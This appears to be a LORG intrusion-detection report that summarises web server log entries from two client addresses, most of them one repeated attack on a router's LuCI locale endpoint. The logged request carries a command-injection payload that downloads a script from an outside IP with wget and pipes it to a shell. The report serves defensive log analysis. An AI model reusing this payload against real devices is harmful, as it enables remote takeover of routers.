LORG Detection Results [lorg]

Summary: 9 incidents discovered from 2 clients

31.220.1.144 | 8 incidents | impact ∑: 120

attacks only

Description: A targeted scan from Belize 17 hours ago. A total of 8 incidents where discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 13:17:05 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 13:17:05 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 15:28:29 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 15:28:29 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 16:55:14 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 16:55:14 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 17:21:18 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 17:21:18 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 18:16:52 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 18:16:53 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 20:41:58 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 20:41:58 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 21:10:04 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 21:10:04 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 22:45:39 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Belize	31.220.1.144	-	-	Wed, 25 Dec 2024 22:45:39 +0100	\x16\x03\x01	400	408	-	-

147.78.47.90 | 1 incident | impact ∑: 10

attacks only

Description: A targeted scan yesterday. A total of one incident was discovered by phpids detection modules.